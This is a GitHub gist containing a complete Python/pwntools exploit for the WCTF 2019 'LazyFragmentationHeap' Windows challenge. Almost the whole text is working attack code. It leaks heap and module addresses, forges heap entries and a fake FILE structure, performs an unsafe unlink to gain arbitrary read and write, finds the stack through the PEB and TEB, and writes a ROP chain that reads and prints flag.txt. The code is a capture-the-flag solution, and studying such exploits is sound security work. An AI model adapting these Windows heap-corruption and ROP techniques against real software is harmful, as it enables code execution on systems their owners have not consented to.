Created
May 5, 2020 14:55
-
-
Save y0ny0ns0n/2b88a9c3d5f8476885cca68b8239cd16 to your computer and use it in GitHub Desktop.
exploit code of LazyFragmentationHeap on WCTF 2019
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# context.log_level = "debug" | |
# HOST = "192.168.56.102" # VirtualBox Host-Only Adapter | |
HOST = "192.168.0.18" # VirtualBox Bridge | |
PORT = 6677 | |
SIZE = 0xC8 # yes, I intend korean slang | |
hi = None | |
sla = None | |
def alloc(chunk_id, size): | |
sla("Your choice: ", str(1)) | |
sla("Size:", str(size)) | |
sla("ID:", str(chunk_id)) | |
def edit(chunk_id, val, need_newline=True): | |
sla("Your choice: ", str(2)) | |
sla("ID:", str(chunk_id)) | |
if need_newline: | |
sla("Content:", val) | |
else: | |
hi.sendafter("Content:", val) | |
def show(chunk_id): | |
sla("Your choice: ", str(3)) | |
sla("ID:", str(chunk_id)) | |
return hi.recvline().strip()[9:] | |
def free(chunk_id): | |
sla("Your choice: ", str(4)) | |
sla("ID:", str(chunk_id)) | |
def open_file(): | |
sla("Your choice: ", str(5)) | |
sla("Your choice: ", str(1)) | |
sla("Your choice: ", str(3)) | |
def read_file(chunk_id, size, go_back=True): | |
sla("Your choice: ", str(5)) | |
sla("Your choice: ", str(2)) | |
sla("ID:", str(chunk_id)) | |
sla("Size:", str(size)) | |
if go_back: | |
sla("Your choice: ", str(3)) | |
def persistent_leak(cursor=0, disconn=True, leakLazy=False): | |
global hi, sla | |
context.log_level = "error" | |
hi = remote(HOST, PORT) | |
sla = hi.sendlineafter | |
alloc(1, SIZE) | |
edit(1, "A" * SIZE) | |
try: | |
heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003 | |
except struct.error: | |
log.info("_HEAP_ENTRY not leaked") | |
return | |
# log.info("_HEAP->Encoding = 0x%016x" % heap_encod) | |
alloc(2, 0x268) | |
alloc(3, 0x200) | |
fake_entry = 0x10000027c80101c8 ^ heap_encod | |
''' | |
0x10000027c80101c8 | |
+0x008 Size : 0x1c8 | |
+0x00a Flags : 0x1 '' | |
+0x00b SmallTagIndex : 0xc8 '' | |
+0x008 SubSegmentCode : 0xc80101c8 | |
+0x00c PreviousSize : 0x27 | |
+0x00e SegmentOffset : 0 '' | |
+0x00e LFHFlags : 0 '' | |
+0x00f UnusedBytes : 0x10 '' | |
''' | |
# log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry) | |
alloc(4, 0x1c80 - # fake chunk size | |
0x20 - # sizeof(_HEAP_ENTRY) * 2 | |
0x200 # orginal size of overwritten chunk | |
) | |
open_file() | |
read_file(2, 0x268) | |
edit(2, "A" * 0x268 + p64(fake_entry)[:6], False) | |
free(3) # free coalesce mechanism also free'ing chunk 4 | |
alloc(3, 0x200) # set Flink and Blink at chunk 4 | |
heap_base = u64(show(4)[:8].ljust(8, p8(0))) - 0x150 | |
if heap_base == 0: | |
log.info("Heap address not leaked") | |
return | |
if leakLazy: | |
cursor = heap_base + 0x27b2 # can't leak null-byte | |
elif cursor == 0: | |
# default target is ntdll on _HEAP->LockVariable->Lock | |
cursor = heap_base + 0x2c0 | |
# log.info("&_HEAP = 0x%016x" % heap_base) | |
# make LFH to allocate new Userblock in chunk 4 | |
for _ in range(0x14): | |
open_file() | |
fake_HEAP_USERDATA_HEADER = "" | |
fake_HEAP_USERDATA_HEADER += p64(heap_base + 0xbcd0) # +0x000 SubSegment | |
fake_HEAP_USERDATA_HEADER += p64(heap_base + 0x12e40) # +0x008 Reserved | |
fake_HEAP_USERDATA_HEADER += p32(0xc) # +0x010 SizeIndexAndPadding | |
fake_HEAP_USERDATA_HEADER += p32(0xf0e0d0c0) # +0x014 Signature | |
fake_HEAP_USERDATA_HEADER += p64(0) * 5 # I couldn't leak other values | |
fake_FILE = "" | |
fake_FILE += p64(0) * 2 # _HEAP_ENTRY | |
fake_FILE += p64(cursor) # cursor of SEEK_CUR | |
fake_FILE += p64(cursor & ~0xfff) # base address | |
fake_FILE += p32(0x800) # remaining file size | |
fake_FILE += p32(0x2041) # I dunno what they are | |
fake_FILE += p64(0x17) | |
fake_FILE += p64(0x1000) | |
fake_FILE += p64(0) | |
fake_FILE += p64(0xffffffffffffffff) | |
fake_FILE += p64(0xffffffff) | |
fake_FILE += p64(0) | |
fake_FILE += p64(0) | |
for_leak = "" | |
for_leak += fake_HEAP_USERDATA_HEADER | |
for_leak += fake_FILE * (0x1000 / len(fake_FILE)) | |
edit(4, for_leak) | |
alloc(5, SIZE) | |
if leakLazy: | |
read_file(5,4) | |
result = u64(show(5)[:4].ljust(8, p8(0))) << 16 | |
else: | |
read_file(5,8) | |
result = u64(show(5)[:8].ljust(8, p8(0))) | |
if disconn: | |
sla("Your choice: ", str(6)) | |
hi.close() | |
context.log_level = "info" | |
return result | |
magic_switch = True | |
def exploit(): | |
global hi, sla | |
hi = remote(HOST, PORT) | |
sla = hi.sendlineafter | |
alloc(1, SIZE) | |
edit(1, "A" * SIZE) | |
try: | |
heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003 | |
except struct.error: | |
log.info("_HEAP_ENTRY not leaked") | |
return | |
alloc(2, 0x268) | |
alloc(3, 0x200) | |
fake_entry = 0x10000027c80101c8 ^ heap_encod | |
''' | |
0x10000027c80101c8 | |
+0x008 Size : 0x1c8 | |
+0x00a Flags : 0x1 '' | |
+0x00b SmallTagIndex : 0xc8 '' | |
+0x008 SubSegmentCode : 0xc80101c8 | |
+0x00c PreviousSize : 0x27 | |
+0x00e SegmentOffset : 0 '' | |
+0x00e LFHFlags : 0 '' | |
+0x00f UnusedBytes : 0x10 '' | |
''' | |
alloc(4, 0x1000) # big chunk for LFH's new UserBlock | |
# pre-setting for Unsafe Unlink | |
# (0x1c80 - 0x40 - 0x200 - 0x1000)/2 = 0x520 | |
alloc(5, 0x520) | |
# this is chunk 6 | |
# set chunk_id to _HEP_ENTRY for Heap Feng-Shui | |
alloc(0x5353000053 ^ heap_encod, 0x520) | |
open_file() | |
read_file(2, 0x268) | |
edit(2, "A" * 0x268 + p64(fake_entry)[:6], False) | |
free(3) # free coalesce mechanism also free'ing chunk 4, 5, 6 | |
alloc(3, 0x200) # set Flink and Blink at chunk 4, 5, 6 | |
heap_base = u64(show(4)[:8].ljust(8, p8(0))) - 0x150 | |
if heap_base == 0: | |
log.info("Heap address not leaked") | |
return | |
# make LFH to allocate new Userblock in chunk 4 | |
for _ in range(0x14): | |
open_file() | |
fake_HEAP_USERDATA_HEADER = "" | |
fake_HEAP_USERDATA_HEADER += p64(heap_base + 0xbcd0) # +0x000 SubSegment | |
fake_HEAP_USERDATA_HEADER += p64(heap_base + 0x12e40) # +0x008 Reserved | |
fake_HEAP_USERDATA_HEADER += p32(0xc) # +0x010 SizeIndexAndPadding | |
fake_HEAP_USERDATA_HEADER += p32(0xf0e0d0c0) # +0x014 Signature | |
fake_HEAP_USERDATA_HEADER += p64(0) * 5 # I couldn't leak other values | |
# cursor points heap_mem of chunk 3 | |
cursor = 0xbeefdad0000 + (0x28 * 2) + 0x20 | |
# HAVE TO set specific values to get input from STDIN | |
fake_FILE = "" | |
fake_FILE += p64(0) * 2 # _HEAP_ENTRY | |
fake_FILE += p64(cursor) # cursor of SEEK_CUR <--| | |
fake_FILE += p64(cursor) # base address <--------|-- both must be equal | |
fake_FILE += p32(0) # remaining file size | |
fake_FILE += p32(0x2041) # I dunno what they are | |
fake_FILE += p64(0x1) # <------------------------ only 0 or 1 or 2 | |
fake_FILE += p64(0x800) | |
fake_FILE += p64(0) | |
fake_FILE += p64(0xffffffffffffffff) | |
fake_FILE += p64(0xffffffff) | |
fake_FILE += p64(0) | |
fake_FILE += p64(0) | |
for_leak = "" | |
for_leak += fake_HEAP_USERDATA_HEADER | |
for_leak += fake_FILE * ((0x1000-len(for_leak)) / len(fake_FILE)) | |
edit(4, for_leak, False) | |
read_file(3, 8, False) | |
# ucrtbase!_pioinfo[0] has fixed heap offset | |
hi.send(p64(heap_base+0x8d48)) # I dunno any details about windows FSOP...V_V | |
sla("Your choice: ", str(3)) # But @scwuaptx said offset 0x38 is flag | |
edit(3, p8(9), False) # this will switch text mode to binary mode | |
fxxk = 0xbeefdad0000 + (0x28 * 5) + 0x20 # heap_mem of chunk 6 | |
alloc(7, (0x520*2) + 0x10) # sizeof(chunk 5 and 6) + sizeof(_HEAP_ENTRY) | |
# have same heap_mem with chunk 5 | |
free(5) # Actually it free'ing chunk 7 | |
alloc(5, 0x520) # Now, chunk 7 === chunk 5 | |
# But chunk 7 is bigger than chunk 5 | |
edit(7, "A" * 0x520 + | |
p64(0) + | |
p64(0x5353000053 ^ heap_encod) + | |
p64(fxxk - 8) + # Flink->Blink = Flink | |
p64(fxxk) # Blink->Flink = Blink | |
# satisfying unlink condition | |
# *(fxxk) = fxxk | |
) | |
alloc(8, 0x520) | |
lazy_id1 = 0xdeadbeef | |
lazy_id2 = 0xcafebabe | |
lazy_id3 = 0x13371337 | |
create_lazy_header = lambda chunk_id : flat([ | |
0xddaabeef1acd, | |
0x200, | |
chunk_id, | |
0xddaabeef1acd, | |
], word_size=64, endianness="little") | |
lazy_header1 = create_lazy_header(lazy_id1) | |
lazy_header2 = create_lazy_header(lazy_id2) | |
lazy_header3 = create_lazy_header(lazy_id3) | |
edit(0x5353000053 ^ heap_encod, p64(0xbeefdad0000) + | |
lazy_header1 + | |
p64(0xbeefdad0000) | |
) | |
# set lazy_header1 at 0xbeefdad0000 | |
edit(lazy_id1, lazy_header1 + p64(0xbeefdad0000)) | |
# Becuase of edit limit at "2. Edit File content", | |
# HAVE TO keep modifying magic1 | |
def lazy_read(addr): | |
global magic_switch | |
if magic_switch: | |
edit(lazy_id1, lazy_header1 + | |
p64(addr) + | |
lazy_header2 + | |
p64(0xbeefdad0000) | |
) | |
result = show(lazy_id1) | |
else: | |
edit(lazy_id2, lazy_header1 + | |
p64(0xbeefdad0000) + | |
lazy_header2 + | |
p64(addr) | |
) | |
result = show(lazy_id2) | |
magic_switch = not magic_switch | |
return result | |
def lazy_write(addr, value): | |
global magic_switch | |
if magic_switch: | |
edit(lazy_id1, lazy_header1 + | |
p64(addr) + | |
lazy_header2 + | |
p64(0xbeefdad0000) + | |
lazy_header3 + | |
p64(addr) | |
) | |
else: | |
edit(lazy_id2, lazy_header1 + | |
p64(0xbeefdad0000) + | |
lazy_header2 + | |
p64(addr) + | |
lazy_header3 + | |
p64(addr) | |
) | |
edit(lazy_id3, value, False) | |
magic_switch = not magic_switch | |
# ntdll!TlsBitMap+0x8 == _PEB->TlsBitmap | |
_PEB = u64(lazy_read(ntdll+0x165348).ljust(8, p8(0))) - 0x80 | |
_TEB = _PEB + 0x1000 | |
log.info("&_PEB = 0x%016x" % _PEB) | |
log.info("&_TEB = 0x%016x" % _TEB) | |
# leak _TEB->NtTib->StackBase | |
stack_base = u64(lazy_read(_TEB + 8 + 2).ljust(8, p8(0))) << 16 | |
log.info("_TEB->NtTib->StackBase = 0x%016x" % stack_base) | |
# find return address of main() at beginning | |
main_ret = lazy_base + 0x1b78 | |
find_ret_addr = hi.progress("finding return address on stack") | |
for offset in range(8, 0x1000, 8): | |
stack_addr = stack_base - offset | |
stack_leak = u64(lazy_read(stack_addr).ljust(8, p8(0))) | |
if stack_leak == main_ret: | |
find_ret_addr.success("gotcha!") | |
break | |
# return addres of read() at lazyfragmentationheap+0x14bb | |
stack_addr = stack_addr - 0x80 | |
log.info("stack addr = 0x%016x" % stack_addr) | |
flag_addr = lazy_base + 0x50c0 | |
flag_buf = lazy_base + 0x50d0 | |
lazy_write(flag_addr, "flag.txt\x00") | |
# restore Heap for WINAPI internal usage | |
HeapCreate_addr = kernel32 + 0x1e500 # IAT to KERNELBASE!HeapCreate | |
# https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/crt-alphabetical-function-reference | |
# ucrtbase.dll contains POSIX functions like open(), read(), write()... | |
open_addr = ucrtbase + 0xa1ae0 | |
read_addr = ucrtbase + 0x16140 | |
write_addr = ucrtbase + 0x14b30 | |
exit_addr = ucrtbase + 0x1b8c0 | |
pop_rcx_ret = ntdll + 0x21527 | |
pop_rdx_ret = ucrtbase + 0xa9eb2 | |
pop_r8_ret = ntdll + 0x4d6cf | |
store_rdx_rax_ret = ntdll + 0x88f5c | |
store_rcx_plus8_rax_ret = ucrtbase + 0x4a721 | |
add_rsp_0x28_ret = ntdll + 0x63c5 | |
process_heap = _PEB + 0x30 # _PEB->ProcessHeap | |
crt_heap = ucrtbase + 0xeb570 # ucrtbase!_acrt_heap | |
rop_chain = flat([ | |
pop_rcx_ret, | |
0, | |
pop_rdx_ret, | |
0, | |
pop_r8_ret, | |
0, | |
HeapCreate_addr, # rax = HeapCreate(0, 0, 0) | |
pop_rdx_ret, | |
process_heap, | |
store_rdx_rax_ret, # *process_heap = rax | |
pop_rdx_ret, | |
crt_heap, | |
store_rdx_rax_ret, # *crt_heap = rax | |
# rax = open("flag.txt", _O_RDONLY, _S_IREAD) | |
pop_rcx_ret, | |
flag_addr, | |
pop_rdx_ret, | |
0, | |
pop_r8_ret, | |
0x100, | |
open_addr, | |
add_rsp_0x28_ret, | |
0, 0, 0, 0, 0, | |
# read(rax, flag_buf, 0x80) | |
pop_rcx_ret, | |
stack_addr + (8 * 29), | |
store_rcx_plus8_rax_ret, | |
pop_rcx_ret, | |
0x12345678, # will replace to fd | |
pop_rdx_ret, | |
flag_buf, | |
pop_r8_ret, | |
0x80, | |
read_addr, | |
add_rsp_0x28_ret, | |
0, 0, 0, 0, 0, | |
# write(1, flag_buf, 0x80) | |
pop_rcx_ret, | |
1, | |
pop_rdx_ret, | |
flag_buf, | |
pop_r8_ret, | |
0x80, | |
write_addr, | |
add_rsp_0x28_ret, | |
0, 0, 0, 0, 0, | |
# exit(0) | |
pop_rcx_ret, | |
0, | |
exit_addr | |
], word_size=64, endianness="little") | |
lazy_write(stack_addr, rop_chain) | |
hi.interactive(prompt=None) | |
# I DON'T WANT TO SEE FXXKING ERROR | |
is_leaked = log.progress("This is gonna takes some time...") | |
while True: | |
try: | |
lazy_base = persistent_leak(leakLazy=True) | |
kernel32 = persistent_leak(lazy_base+0x3008) - 0x1e690 # KERNEL32!IsDebuggerPresentStub | |
ntdll = persistent_leak(lazy_base+0x3010) - 0x73810 # ntdll!RtlInitializeSListHead | |
ucrtbase = persistent_leak(lazy_base+0x30b0) - 0x0f760 # ucrtbase!free | |
break | |
except Exception: | |
continue | |
is_leaked.success("Done :D") | |
log.info("LazyFragmentationHeap = 0x%016x" % lazy_base) | |
log.info("kernel32 = 0x%016x" % kernel32) | |
log.info("ntdll = 0x%016x" % ntdll) | |
log.info("ucrtbase = 0x%016x" % ucrtbase) | |
exploit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment